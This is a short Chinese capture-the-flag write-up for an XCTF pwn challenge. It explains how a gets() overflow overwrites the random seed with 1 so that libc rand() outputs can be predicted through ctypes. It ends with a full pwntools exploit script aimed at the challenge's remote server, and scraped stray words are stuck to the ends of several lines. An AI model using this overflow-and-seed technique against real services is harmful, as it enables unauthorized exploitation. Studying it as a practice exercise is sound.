原题连接 https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1html
查看基本信息:python
开启了canary,不能经过栈溢出直接覆盖地址linux
用IDA查看源代码函数
必须输入正确的数字,才能执行sub_C3E()spa
经过gets()函数覆盖随机数种子.net
经过ldd查找libc共享库, 这里python须要用到c语言的标准动态库(http://www.javashuo.com/article/p-wnaufman-q.html)3d
ctypes python的外部函数库 https://docs.python.org/zh-cn/3.7/library/ctypes.htmlcode
rand函数和srand函数相关知识:https://blog.csdn.net/qq_41199502/article/details/80726780htm
具体实现:
1. 经过垃圾字符覆盖var_30到seed:“a” * 0x20
2. 使用p64()把1按照64位的方式进行排列产生随机数
3. 调用srand()生成随机数
4. 利用循环屡次输入进行比较,直到相等。blog
from pwn import * from ctypes import * sh = remote('159.138.137.79',50420) libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') payload = 'A' * 0x20 + p64(1) sh.sendlineafter("name:",payload) #get offset is 0x20,edit seed as 1 libc.srand(1) for i in range(10): sh.recvuntil("number:") sh.sendline(str(libc.rand()%6+1)) # print(str(libc.rand()%6+1)) sh.interactive()